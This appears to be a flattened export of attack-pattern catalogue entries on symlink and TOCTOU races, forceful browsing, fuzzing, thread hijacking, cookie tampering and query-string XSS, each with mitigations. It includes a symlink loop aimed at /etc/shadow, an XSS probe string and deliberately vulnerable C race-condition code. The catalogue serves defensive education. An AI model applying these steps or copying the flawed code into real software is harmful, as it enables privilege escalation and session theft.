//Source : SAMATE.NIST.GOV : http://samate.nist.gov/SRD/view_testcase.php?login=Guest&;tID=1598Medium/HighVulnerability testing tool can be used to probe for race condition.The attacker may also look for temporary file creation. The attacker may tries to replace them and take advantage of a race condition.Use safe libraries to access resources such as files.Be aware that improper use of access function calls such as chown(), tempfile(), chmod(), etc. can cause a race condition.Use synchronization to control the flow of execution.Use static analysis tools to find race conditions.Pay attention to concurrency problems related to the access of resources.Privilege EscalationData Modification368Secondary363Secondary366Secondary370Secondary362SecondaryExploitationLowHighMediumAllAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE – Race ConditionsWikipedia, http://en.wikipedia.org/wiki/Race_conditionDavid Wheeler - Prevent race conditions - http://www-128.ibm.com/developerworks/linux/library/l-sprace.htmlDavid Wheeler - Secure programming - http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.htmlThis attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to her. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attacker's Symlink link. If the attacker can insert malicious content in the temporary file she will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.Verify that target host's platform supports symbolic links.This attack pattern is only applicable on platforms that support symbolic links.Research target platform to determine whether it supports symbolic links.env-Embedded env-LocalCreate a symbolic link and ensure that it works as expected on the given platform.env-Embedded env-LocalTarget platform supports symbolic links (e.g. Linux, UNIX, etc.)Target platform does not support symbolic links (e.g. MS Windows)Examine application's file I/O behaviorAnalyze the application's file I/O behavior to determine where it stores files, as well as the operations it performs to read/write files.Use kernel tracing utility such as ktrace to monitor application behaviorenv-LocalUse debugging utility such as File Monitor to monitor the application's filesystem I/O callsenv-LocalWatch temporary directories to see when temporary files are created, modified and deleted.env-Embedded env-LocalAnalyze source code for open-source systems like Linux, Apache, etc.env-Embedded env-LocalAttacker can watch files being created, modified and/or deleted by application.env-Embedded env-LocalApplication does not seem to perform any filesystem I/O operations.env-Embedded env-LocalAttacker identifies at least one reproducable file I/O operation performed by the application.Attacker cannot identify any file I/O operations being performed by the application.Verify ability to write to filesystemThe attacker verifies ability to write to the target host's file system.Create a file that does not exist in the target directory (e.g. "touch temp.txt" in UNIX-like systems)env-Embedded env-LocalOn platforms that differentiate between file creation and file modification, if the target file that the application writes to already exists, attempt to modify it.env-Embedded env-LocalVerify permissions on target directoryenv-Embedded env-LocalTarget directory is a globally writable temp directory (e.g. /tmp in many UNIX-like systems)env-Embedded env-LocalTarget directory is writable by the attacker's effective user ID.env-Embedded env-LocalAttacker can create and modify files in the target directory.Attacker cannot create or modify files in the target directory.Store temporary files in a directory with limited permissions where malicious users cannot tamper with them.Replace file with a symlink to a sensitive system file.Between the time that the application checks to see if a file exists (or if the user has access to it) and the time the application actually opens the file, the attacker replaces the file with a symlink to a sensitive system file.Create an infinite loop containing commands such as "rm -f tempfile.dat; ln -s /etc/shadow tempfile.dat". Wait for an instance where the following steps occur in the given order: (1) Application ensures that tempfile.dat exists and that the user has access to it, (2) "rm -f tempfile.dat; ln -s /etc/shadow tempfile.dat", and (3) Application opens tempfile.dat for writing, and inadvertently opens /etc/shadow for writing instead.env-Embedded env-LocalUse other techniques with debugging tools to replace the file between the time the application checks the file and the time the application opens it.env-Embedded env-LocalSensitive file tampered with successfully.Sensitive file could not be tampered with.Use file handles to check existence of files, to check permissions and to open them. Do not use filename except to obtain a handle initially.Drop application's permissions to the current user's permissions before performing any file I/O operations (e.g. using Process.as_uid() in Ruby).Run application with minimal permissions. In particular, avoid running applications as root on UNIX-like systems and as Administrator on Windows systems.The attacker is able to create Symlink links on the target host.Tainted data from the attacker is used and copied to temporary files.The target host does insecure temporary file creation.HighMediumInjectionTime and StateModification of ResourcesIn this naïve example, the Unix program foo is setuid. Its function is to retrieve information for the accounts specified by the user. For "efficiency," it sorts the requested accounts into a temporary file (/tmp/foo naturally) before making the queries.
The directory /tmp is world-writable. Malicious user Mallory creates a symbolic link to the file /.rhosts named /tmp/foo. Then, she invokes foo with + + as the requested account. The program creates the (temporary) file /tmp/foo (really creating /.rhosts) and puts the requested account (+ +) in it. It removes the temporary file (merely removing the symbolic link).
Now the /.rhosts contains + +, which is the incantation necessary to allow anyone to use rlogin to log into the computer as the superuser.
(Source : Wikipedia (http://en.wikipedia.org/wiki/Symlink_race)).
GNU ed before 0.3 allows local users to overwrite arbitrary files via a symlink attack on temporary files, possibly in the open_sbuf function.CVE-2006-6939OpenmosixCollector and OpenMosixView in OpenMosixView 1.5 allow local users to overwrite or delete arbitrary files via a symlink attack on (1) temporary files in the openmosixcollector directory or (2) nodes.tmp.CVE-2005-0894Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails.CVE-2000-0972
Medium/High: This attack is sophisticated because the attacker has to overcome a few challenges such as creating symlinks on the target host during a precise timing, inserting malicious data in the temporary file and have knowledge about the temporary files created (file name and function which creates them).
The attacker will certainly look for file system locations where he can write and create Symlink links.
The attacker may also observe the system and locate the temporary files created during a call to a certain function.
Use safe libraries when creating temporary files. For instance the standard library function mkstemp can be used to safely create temporary files. For shell scripts, the system utility mktemp does the same thing.
Access to the directories should be restricted as to prevent attackers from manipulating the files. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file.
Follow the principle of least privilege when assigning access rights to files.
Ensure good compartmentalization in the system to provide protected areas that can be trusted.
Data ModificationPrivilege EscalationDenial of ServiceThe content of the temporary file which is copied to the file pointed to by the Symlink.The content of the file overwriten when writing to the Symlink.The new content of the targeted file.This attack can cause privilege escalation, modification of resources or denial of services.367Targeted61Targeted29More Detailed26More DetailedLeast PrivilegeExploitationHighHighLowAllAllAllAllSymlink Race, Wikipedia - http://en.wikipedia.org/wiki/Symlink_raceSafe temporary file creation with mkstemp - http://www.opengroup.org/onlinepubs/009695399/functions/mkstemp.htmlAn attacker employs forceful browsing to access portions of a website that are otherwise unreachable through direct URL entry.
Usually, a front controller or similar design pattern is employed to protect access to portions of a web application.
Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web appplication that have been improperly protected.SpiderUsing an automated tool, an attacker follows all public links on a web site. He records all the links he finds.Use a spidering tool to follow and record all linksenv-WebUse a proxy tool to record all links visited during a manual traversal of the web application.env-WebA list of links is created by the attacker.Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them).Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application.Actively monitor the application and either deny or redirect requests from origins that appear to be automated.Attempt well known or guessable resource locationsUsing an automated tool, an attacker requests a variety of well-known URLs that correspond to administrative, debugging, or other useful internal actions. He records all the positive responses from the server.Use a spidering tool to follow and record attempts on well known URLsenv-WebUse a proxy tool to record all links visited during a manual traversal of attempts on well known URLs.env-WebCommon resource identifiers are used (e.g., /admin/, admin.jsp, admin.aspx, etc.)env-WebWell known middleware or application platforms are used (e.g., Cold Fusion, WebSphere, WebLogic, JBoss, etc.)env-WebThe attacker discovers one or more unprotected resources.Monitor errors (e.g., 404 not found) from web servers, application servers, and other HTTP infrastructure (e.g., load balancers). Alert on an unusual number of consecutive failures or total failures from a single host. Potentially alert on many failures from many different hosts, but in a relatively short time window.Create "honeypot" web pages or scripts that do not actually have any use in the application, and name them common names (e.g., admin.jsp, admin.do, admin.aspx, etc.). Alert when one of these resources is requested.Actively monitor the application and either deny or redirect requests from origins that appear to be generating an unusual amount of failures.Obtain a list of sensitive areas that should not be directly accessible (e.g., JSPs or other templates that should only be accessible via front controllers). Apply an external mechanism (rule in the load balancer, rule in the reverse proxy, etc.) to intercept and redirect requests for those resources. Ideally use patterns, not specific page names (e.g., /jsp/* instead of a list of individual JSPs). Regularly update the list that is used in operation.Identify defaults for platform-specific sensitive resources. If the application does not use those defaults, alert on all requests for them (e.g., http://server:8080/admin/)Use unauthorized resourcesBy visiting the unprotected resource, the attacker makes use of unauthorized functionality.Access unprotected functions and execute them.env-AllMalformed log entries are a common side-effect of this kind of attack. E.g., "User xyz deleted by on 10/16/07." The "by on" indicates that no authorized user was recorded. (A good entry would say "user xyz deleted by admin on 10/16/07"). Monitoring of log file entries for correct and consistent output format can indicate this kind of attack succeeding.View unauthorized dataThe attacker discovers and views unprotected sensitive data.Direct request of protected pages that directly access database back-ends. (e.g., list.jsp, accounts.jsp, status.jsp, etc.) env-WebDynamic pages (JSP, ASP, PHP, etc.) exist that divulge sensitive data without first checking authorization.env-WebThe forcibly browsable pages or accessible resources must be discoverable and improperly protected.HighVery HighA number of automated crawlers as well as other tools are available that generally perform a good job at looking for forcefully browsable pagesBrute ForceA bulletin board application provides an administrative interface at admin.aspx when the user logging in belongs to the administrators group.
An attacker can access the admin.aspx interface by making a direct request to the page. Not having access to the interface appropriately protected allows the attacker to perform admnistrative functions without having to authenticate himself in that role.
Low: Forcibly browsable pages can be discovered by using a number of automated tools. Doing the same manually is tedious but by no means difficultA directory listing is helpful but not a requirement. No special resources are required.Following all the links recursively reveals resources that are availableHaving a directory listing also points to the available pages and resources in the application that may be forcibly browsable.Authenticate request to every resource. In addition, every page or resource must ensure that the request it is handling has been made in an authorized context.Forceful browsing can also be made difficult to a large extent by not hard-coding names of application pages or resources. This way, the attacker cannot figure out, from the application alone, the resources available from the present context.Information LeakagePrivilege Escalation
Forceful browsing is a consequence of improper access control. The application is designed with an assumption that resources are to be accessed in a certain sequence and that this sequence is immutable.
Pages in an application can request the client's identity each time a request is made or can rely on a controller or filter to do it for them before passing on the request.
Often times, however, when pages are modified or new pages are added to an application, the access control logic is not updated simultaneously. This opens up an avenue for attackers to bypass the authentication mechanism and access such pages directly.
Another cause is multiple access routes to the same resource, not all of which are equally well protected.
425Targeted285SecondaryCVE-2007-1156JBrowser allows remote attackers to bypass authentication and access certain administrative capabilities via a direct request for _admin/.CVE-2007-1062The Cisco Unified IP Conference Station 7935 3.2(15) and earlier, and Station 7936 3.3(12) and earlier does not properly handle administrator HTTP sessions, which allows remote attackers to bypass authentication controls via a direct URL request to the administrative HTTP interface for a limited timeComplete MediationReluctance To TrustTreat the Entire Inherited Process Context as Unvalidated InputUse Authentication Mechanisms, Where Appropriate, Correctly
Fuzzing is a software testing method that feeds randomly constructed input to the system and looks for an indication that a failure in response to that input has occured. Fuzzing treats the system as a blackbox and is totally free from any preconceptions or assumptions about the system.
An attacker can leverage fuzzing to try to identify weaknesses in the system. For instance fuzzing can help an attacker discover certain assumptions made in the system about user input. Fuzzing gives an attacker a quick way of potentially uncovering some of these assumptions without really knowing anything about the internals of the system. These assumptions can then be turned against the system by specially crafting user input that may allow an attacker to achieve his goals.
Observe communication and inputsThe fuzzing attacker observes the target system looking for inputs and communications between modules, subsystems, or systems.Network sniffing. Using a network sniffer such as wireshark, the attacker observes communications into and out of the target system.env-Web env-ClientServer env-Peer2Peer env-CommProtocolMonitor API execution. Using a tool such as ktrace, strace, APISpy, or another debugging tool, the attacker observes the system calls and API calls that are made by the target system, and the nature of their parameters.env-Local env-EmbeddedObserve inputs using web inspection tools (OWASP's WebScarab, Paros, TamperData, TamperIE, etc.)env-WebThe attacker creates a list of unique communications packets, messages, inputs, API calls or other actions the software takes.Alert on promiscuous mode. Some network devices (switches, hubs) or monitoring stations (e.g., IDS) can detect and alert when a station in the network is passively eavesdropping.Some production hardware (for embedded environments) can have debugging disabled on the hardware.Techniques exist to insert no-ops and other null branches that thwart basic attempts to execute software stepwise in a debugger.Generate fuzzed inputsGiven a fuzzing tool, a target input or protocol, and limits on time, complexity, and input variety, generate a list of inputs to try. Although fuzzing is random, it is not exhaustive. Parameters like length, composition, and how many variations to try are important to get the most cost-effective impact from the fuzzer.Boundary cases. Generate fuzz inputs that attack boundary cases of protocol fields, inputs, or other communications limits. Examples include 0xff and 0x00 for single-byte inputs. In binary situations, approach each bit of an individual field with on and off (e.g., 0x80).env-AllAttempt arguments to system calls or APIs. The variations include payloads that, if they were successful, could lead to a compromise on the system.env-Local env-EmbeddedLog unexpected parameters to API calls or system calls.Profile the software's expected use of system calls. Use a sandboxing technique to restrict its API calls to the expected patterns.SSL or other link-layer encryption techniques (VPN, 802.11x, etc.) can impair simple observation and require a would-be attacker to work much harder to get information about the operation of the software..Observe the outcomeObserve the outputs to the inputs fed into the system by fuzzers and see if anything interesting happens. If failure occurs, determine why that happened. Figure out the underlying assumption that was invalidated by the input.The software produces an indicator that the attacker can see (error message, altered error state in a protocol, etc.).env-AllThe previous step led to plausible, practical fuzz inputs.env-AllIf the software's indicators (error messages, etc.) vary clearly based on the attacker's input, then the attacker has a sufficient starting point for customizing his attack.The attacker is unable to induce unexpected failures or output based fuzzed inputs.Craft exploit payloadsPut specially crafted input into the system that leverages the weakness identified through fuzzing and allows to achieve the goals of the attacker. Fuzzers often reveal ways to slip through the input validation filters and introduce unwanted data into the system.Identify and embed shellcode for the target system.env-AllEmbed higher level attack commands in the payload. (e.g., SQL, PHP, server-side includes, etc.)env-Web env-CommProtocol env-Peer2Peer env-ClientServerInduce denial of service by exploiting resource leaks or bad error handling.env-AllMonitor system logs and alert on unusual activity. Most shellcode and unusual activity appears in logs.MediumHighAnalysisInjectionBrute Force
A fuzz test reveals that when data length for a particular field exceeds certain length, the input validation filter fails and lets the user data in unfiltered. This provides an attacker with an injection vector to deliver the malicious payload into the system.
Low: There is a wide variety of fuzzing tools available.
Fuzzing tools.
A lot of invalid data is fed to the system. Data that cannot have been generated through a legitimate transaction/request. Data is coming into the system within a short period of time and potentially from the same IP.
Take pauses between fuzzing attempts (may not be very practical). Spoof IP addresses so that it does not look like all data is coming from the same source.
Test to ensure that the software behaves as per specification and that there are no unintended side effects. Ensure that no
assumptions about the validity of data are made.
Use fuzz testing during the software QA process to uncover any surprises, uncover any assumptions or unexpected behavior.
Data ModificationDenial of ServiceInformation LeakagePrivilege EscalationRun Arbitrary Code74Targeted388Targeted20TargetedReconnaissanceMediumMediumMediumAllAllAllAllThis attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. The typical example is the file access. The attacker can leverage a file access race condition by "running the race", meaning that he would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the attacker could do something such as replace the file and cause an escalation of privilege.The attacker explores to gauge what level of access he has.The attacker confirms access to a resource on the target host. The attacker confirms ability to modify the targeted resource.The attacker decides to leverage the race condition by "running the race", meaning that he would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the attacker can replace the resource and cause an escalation of privilege.A resource is access/modified concurrently by multiple processes.The attacker is able to modify resource.A race condition exists while accessing a resource.HighHighTime and StateModification of ResourcesThe Net Direct client for Linux before 6.0.5 in Nortel Application Switch 2424, VPN 3050 and 3070, and SSL VPN Module 1000 extracts and executes files with insecure permissions, which allows local users to exploit a race condition to replace a world-writable file in /tmp/NetClient and cause another user to execute arbitrary code when attempting to execute this client, as demonstrated by replacing /tmp/NetClient/client.CVE-2007-1057The following code illustrates a file that is accessed multiple times by name in a publicly accessible directory. A race condition exists between the accesses where an attacker can replace the file referenced by the name.
include <sys/types.h>
include <fcntl.h>
include <unistd.h>
define FILE "/tmp/myfile"
define UID 100
void test(char *str)
{
int fd;
fd = creat(FILE, 0644);
if(fd == -1)
return;
chown(FILE, UID, -1); /* BAD */
close(fd);
}
int main(int argc, char **argv)
{
char *userstr;
if(argc > 1) {
userstr = argv[1];
test(userstr);
}
return 0;
}
//Source : SAMATE.NIST.GOV : http://samate.nist.gov/SRD/view_testcase.php?login=Guest&;tID=1598Medium/High: This attack can get sophisticated since the attack has to occur within a short interval of time.Vulnerability testing tool can be used to probe for race condition.The attacker may also look for temporary file creation. The attacker may try to replace them and take advantage of a race condition.Use safe libraries to access resources such as files.Be aware that improper use of access function calls such as chown(), tempfile(), chmod(), etc. can cause a race condition.Use synchronization to control the flow of execution.Use static analysis tools to find race conditions.Pay attention to concurrency problems related to the access of resources.Data ModificationPrivilege EscalationRun Arbitrary CodeInformation LeakageDenial of ServiceThe window of time between when a file property is checked and when the file is used can be exploited to launch a privilege escalation attack.
File access race conditions, known as time-of-check, time-of-use (TOCTOU) race conditions, occur when:
1. The program checks a property of a file, referencing the file by name.
2. The program later performs a filesystem operation using the same filename and assumes that the previously-checked property still holds.
Example: The following code is from a program installed setuid root. The program performs certain file operations on behalf of non-privileged users, and uses access checks to ensure that it does not use its root privileges to perform operations that should otherwise be unavailable to the current user. The program uses the access() system call to check if the person running the program has permission to access the specified file before it opens the file and performs the necessary operations.
if(!access(file,W_OK)) {
f = fopen(file,"w+");
operate(f);
...
}
else {
fprintf(stderr,"Unable to open file %s.\n",file);
}
The call to access()behaves as expected, and returns 0if the user running the program has the necessary permissions to write to the file, and -1 otherwise. However, because both access() and fopen() operate on filenames rather than on file handles, there is no guarantee that the file variable still refers to the same file on disk when it is passed to fopen() that it did when it was passed to access(). If an attacker replaces file after the call to access() with a symbolic link to a different file, the program will use its root privileges to operate on the file even if it is a file that the attacker would otherwise be unable to modify. By tricking the program into performing an operation that would otherwise be impermissible, the attacker has gained elevated privileges.
This type of vulnerability is not limited to programs with root privileges. If the application is capable of performing any operation that the attacker would not otherwise be allowed perform, then it is a possible target.
The window of vulnerability for such an attack is the period of time between when the property is tested and when the file is used. Even if the use immediately follows the check, modern operating systems offer no guarantee about the amount of code that will be executed before the process yields the CPU. Attackers have a variety of techniques for expanding the length of the window of opportunity in order to make exploits easier, but even with a small window, an exploit attempt can simply be repeated over and over until it is successful.
367Targeted368Secondary366Secondary370Secondary362Secondary26More Detailed27More AbstractLeast PrivilegeExploitationHighHighLowAllAllAllAllJ. Viega and G. McGraw. Building Secure Software. Addison-Wesley, 2002.CWE – Input ValidationAttackers can sometimes hijack a privileged thread from the underlying system through synchronous (calling a privileged function that returns incorrectly) or asynchronous (callbacks, signal handlers, and similar) means.
Having done so, the Attacker may not only likely access functionality the system's designer didn't intend for them, but they may also go undetected or deny other users essential service in a catastrophic (or insidiously subtle) way.
Attacker determines the underlying system thread that is subject to user-controlAttacker then provides input, perhaps by way of environment variables for the process in question, that affect the executing threadUpon successful hijacking, the attacker enjoys elevated privileges, and can possibly have the hijacked thread do his biddingThe application in question employs a threaded model of execution with the threads operating at, or having the ability to switch to, a higher privilege level than normal usersIn order to feasibly execute this class of attacks, the attacker must have the ability to hijack a privileged thread.
This ability includes, but is not limited to, modifying environment variables that affect the process the thread belongs to, or providing malformed user-controllable input that causes the executing thread to fault and return to a higher privilege level or such.
This does not preclude network-based attacks, but makes them conceptually more difficult to identify and execute.Very HighLowAnalysisModification of ResourcesAPI AbuseAttacker targets an application written using Java's AWT, with the 1.2.2 era event model. In this circumstance, any AWTEvent originating in the underlying OS (such as a mouse click) would return a privileged thread. The Attacker could choose to not return the AWT-generated thread upon consuming the event, but instead leveraging its privilege to conduct privileged operations.High: Hijacking a thread involves knowledge of how processes and threads function on the target platform, the design of the target application as well as the ability to identify the primitives to be used or manipulated to hijack the thread.The attacker needs to be able to latch onto a privileged thread. No special hardware or software tool-based resources are required.
The Attacker does, however, need to be able to program, compile, and link to the victim binaries being executed so that it will turn control of a privileged thread over to the Attacker's malacious code. This is the case even if the attacker conducts the attack remotely.
The attacker may attach a debugger to the executing process and observe the spawning and clean up of threads, as well as the switches in privilege levelsThe attacker can also observe the environment variables, if any, that affect executing threads and modify them in order to observe their effect on the execution.Application Architects must be careful to design callback, signal, and similar asynchronous constructs such that they shed excess privilege prior to handing control to user-written (thus untrusted) code.Application Architects must be careful to design privileged code blocks such that upon return (successful, failed, or unpredicted) that privilege is shed prior to leaving the block/scope.Privilege EscalationRun Arbitrary CodeThis pattern applies to circumstances in which the Attacker knows the victim API and can compile, link, and deploy code in which the victim's privileged threads will call malicious code. This, in most circumstances, will involve being 'in process' with the victim. The pattern does, however, apply in network-based circumstances in which remote object/callback interaction is allowed through RPC-like technologies. In either case (local or remote) the Attacker must be able to gain control of the thread through 'normal' means, which may require privilege-enough to register a call back, subscribe to a service, or similar.
270SecondaryOnly those constructs within the application that cannot execute without elevated privileges must be granted additional privileges. Often times, the entire function or the entire process is granted privileges that are usually not necessary.The callee must ensure that additional privileges are shed before returning to the caller. This avoids pinning the responsibility on an inadvertant caller who may not have a clue about the innards of the callee.Least PrivilegeComplete MediationMinimize privileged code blocksShed any privileges not required to execute at the earliestTreat the Entire Inherited Process Context as Unvalidated InputExploitationHighHighLowAllAllAllAll
This attack relies on the use of HTTP Cookies to store credentials, state information and other critical data on client systems.
The first form of this attack involves accessing HTTP Cookies to mine for potentially sensitive data contained therein.
The second form of this attack involves intercepting this data as it is transmitted from client to server. This intercepted information is then used by the attacker to impersonate the remote user/session.
The third form is when the cookie’s content is modified by the attacker before it is sent back to the server. Here the attacker seeks to convince the target server to operate on this falsified information.
Obtain copy of cookieThe attacker first needs to obtain a copy of the cookie. The attacker may be a legitimate end user wanting to escalate privilege, or could be somebody sniffing on a network to get a copy of HTTP cookies.Obtain cookie from local filesystem (e.g. C:\Documents and Settings\*\Cookies and C:\Documents and Settings\*\Application Data\Mozilla\Firefox\Profiles\*\cookies.txt in Windows)env-WebSniff cookie using a network sniffer such as Wiresharkenv-WebObtain cookie from local memory or filesystem using a utility such as the Firefox Cookie Manager or AnEC Cookie Editor.env-WebSteal cookie via a cross-site scripting attack.env-WebGuess cookie contents if it contains predictable information.env-WebCookies used in web application.env-WebCookies not used in web application.env-WebCookie captured by attacker.Cookie cannot be captured by attacker.To prevent network sniffing, cookies should be transmitted over HTTPS and not plain HTTP. To enforce this on the client side, the "secure" flag should be set on cookies (javax.servlet.http.Cookie.setSecure() in Java, secure flag in setcookie() function in php, etc.).Obtain sensitive information from cookieThe attacker may be able to get sensitive information from the cookie. The web application developers may have assumed that cookies are not accessible by end users, and thus, may have put potentially sensitive information in them. If cookie shows any signs of being encoded using a standard scheme such as base64, decode it.env-WebAnalyze the cookie's contents to determine whether it contains any sensitive information.env-WebCookie only contains a random session ID (e.g. ASPSESSIONID, JSESSIONID, etc.)env-WebCookie contains sensitive information (e.g. "ACCTNO=0234234", or "DBIP=0xaf112a22" -- database server's IP address).env-WebCookie's contents cannot be deciphered.env-WebCookie contains sensitive information that developer did not intent the end user to see.Cookie does not contain any sensitive information.Do not store sensitive information in cookies unless they are encrypted such that only the server can decrypt them.Modify cookie to subvert security controls.The attacker may be able to modify or replace cookies to bypass security controls in the application.Modify logical parts of cookie and send it back to server to observe the effects.env-WebModify numeric parts of cookie arithmetically and send it back to server to observe the effects.env-WebModify cookie bitwise and send it back to server to observe the effects.env-WebReplace cookie with an older legitimate cookie and send it back to server to observe the effects. This technique would be helpful in cases where the cookie contains a "points balance" for a given user where the points have some value. The user may spend his points and then replace his cookie with an older one to restore his balance.env-WebSubversion of security controls on serverCookie reset by serverWeb server logs contain many messages indicating that invalid cookies were received from client.Cookies should not contain any information that the user is not allowed to modify, unless that information is never expected to change. In the latter case, the integrity of the cookie should be protected using a digital signature or a message authentication code.
Target server software must be a HTTP daemon that relies on cookies.
HighHighModification of ResourcesAPI AbuseProtocol ManipulationTime and State
There are two main attack vectors for exploiting poorly protected session variables like cookies. One is the local machine itself which can be exploited directly at the physical level or indirectly through XSS and phising. In addition, the man in the middle attack relies on a network sniffer, proxy, or other intermediary to intercept the subject's credentials and use them to impersonate the digital subject on the host. The issue is that once the credentials are intercepted, impersonation is trivial for the attacker to accomplish if no other protection mechanisms are in place.
Low → To overwrite session cookie data, and submit targeted attacks via HTTP
High → Exploiting a remote buffer overflow generated by attack
Ability to send HTTP request containing cookie to server
Design: Use input validation for cookies
Design: Generate and validate MAC for cookies
Implementation: Use SSL/TLS to protect cookie in transit
Implementation: Ensure the web server implements all relevant security patches, many exploitable buffer overflows are fixed in patches issued for the software.
Information LeakageData ModificationPrivilege Escalation
One of the biggest challenges in distributed systems is communicating state between the client and server. A variety of schemes have been used, the de facto standard in web application is HTTP cookies. Because these cookies tie together a client and a server through a session, they are useful to system designers and attackers. Because cookies contain remote generated content they can also contain attack payloads.
Cookies may contain a variety of data that servers use to enforce security policy, including session ID, cookie issuer, cookie issuance timestamp, session timeout, subject IP address, and MAC, however the HTTP server should not assume that the session cookie variables are invulnerable. They may be overwritten by the client and/or intermediaries. Cookies, like "hidden" HTML form fields, are generally assumed by developers to be invisible from a client standpoint, but in fact they are a target.
From a privacy standpoint, cookies leave a digital audit trail that can violate a digital subject's privacy, cookies may persist personal information on hard drives, in browser cache, log files, proxy servers, and other intermediaries.
“Because HTTP is a stateless protocol, cookies (small files that are stored in a client browser) were invented, mostly to preserve state. Poor design of cookie handling systems leaves both clients and HTTP daemons susceptible to buffer overflow attack." [Hoglund and McGraw 04]
HTTP cookie
Malicious input delivered through cookie in HTTP Request.
Client software, such as a browser and its component libraries, or an intermediary
1. Enables attacker to leverage state stored in cookie
2. Enables attacker a vector to attack web server and platform
565Targeted302Targeted113Targeted539Targeted20Targeted315Targeted384Targeted472SecondaryExploitationHighHighLowClient-Servern-TierAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
A variant of cross-site scripting called "reflected" cross-site scripting, the HTTP Query Strings attack consists of passing a malicious script inside an otherwise valid HTTP request query string. This is of significant concern for sites that rely on dynamic, user-generated content such as bulletin boards, news sites, blogs, and web enabled administration GUIs. The malicious script may steal session data, browse history, probe files, or otherwise execute attacks on the client side. Once the attacker has prepared the malicious HTTP query it is sent to a victim user (perhaps by email, IM, or posted on an online forum), who clicks on a normal looking link that contains a poison query string. This technique can be made more effective through the use of services like http://tinyurl.com/, which makes very small URLs that will redirect to very large, complex ones. The victim will not know what he is really clicking on.SpiderUsing an automated tool, an attacker follows all public links on a web site. He records all the links he finds.Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.env-WebUse a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.env-WebURL parameters are used.env-WebNo parameters appear on the URL. Even though none appear, the web application may still use them if they are provided.env-WebApplications that have only static pages or that simply present information without accepting input are unlikely to be susceptible.env-WebA list of URLs, with their corresponding parameters is created by the attacker.Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them).Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application.Actively monitor the application and either deny or redirect requests from origins that appear to be automated.Attempt variations on input parametersPossibly using an automated tool, an attacker requests variations on the URLs he spidered before. He sends parameters that include variations of script. He records all the responses from the server that include unmodified versions of his script..Use a list of XSS probe strings to inject in parameters of known URLsenv-WebUse a proxy tool to record results of manual input of XSS probes in known URLs.env-WebThe output of pages includes some form of a URL parameter. E.g., ?error="File not Found" becomes "File not Found" in the title of the web page.env-WebInput parameters become part of JavaScript, VBScript, or other script in a web page.env-WebThe attacker's cross-site scripting string is repeated back verbatim.All HTML-sensitive characters are consistently reencoded before being sent to the web browser.Some sensitive characters are consistently encoded, but others are not.Monitor input to web servers, application servers, and other HTTP infrastructure (e.g., load balancers). Alert on standard XSS probes. The majority of attackers use well known strings to check for vulnerabilities. Use the same vulnerability catalogs that hackers use.Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes.Steal session IDs or other credentialsAfter determining that a parameter is vulnerable, the attacker creates exploit URLs and tries to get victims to click on them. The attack vector can be through email, web pages (guest books, forums) or through application specific mechanisms (e.g., application workflow pages or elements)Develop malicious javascript that is loaded by the victim's browser and sends document information to the attacker.env-WebDevelop malicious javascript that takes commands from an attacker's server and then causes the browser to execute appropriately.env-WebThe attacker gets the user's cookies or other session identifiers.The attacker gets the content of the page the user is viewing.The attacker causes the user's browser to visit a page with malicious content.Monitor server logs for scripting parameters.Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referer headers most of the time. These can help indicate that the actual request is illegitimate.Target client software must allow scripting such as Javascript. Server software must allow display of remote generated HTML without sufficient input or output validation.HighHighInjectionProtocol Manipulation
http://user:host@example.com:8080/oradb<script>alert('Hi')</script>
Web applications that accept name value pairs in a HTTP Query string are inherently at risk to any value (or name for that matter) that an attacker would like to enter in the query string. This can be done manually via web browser or trivially scripted to post the query string to multiple sites. In the latter case, in the instance of many sites using similar infrastructure with predictable http queries being accepted and operated on (such as blogging software, Google applications, and so on), a single malicious payload can be scritped to target a wide variety of sites.
Web 2.0 type sites like Technorati and del.icio.us rely on user generated content like tags to build http links that are displayed to other users. del.icio.us allows users to identify sites, tag them with metadata and provide URL, descriptions and more data. This data is then echoed back to any other web browser that is interested in the link. If the data is not validated by the del.icio.us site properly then an abritrary code can be added into the standard http string sent to del.icio.us by the attacker, for example formatted as normal content with a URL and description and tagged as Java, and available to be clicked on (and executed by) any user browsing for Java content that clicks on this trojaned content.
Low → To place malicious payload on server via HTTP
High → Exploiting any information gathered by HTTP Query on script host
Ability to send HTTP post to scripting host and collect output
Design: Use browser technologies that do not allow client side scripting.
Design: Utilize strict type, character, and encoding enforcement
Design: Server side developers should not proxy content via XHR or other means, if a http proxy for remote content is setup on the server side, the client's browser has no way of discerning where the data is originating from.
Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.
Implementation: Perform input validation for all remote content, including remote and user-generated content
Implementation: Perform output validation for all remote content.
Implementation: Disable scripting languages such as Javascript in browser
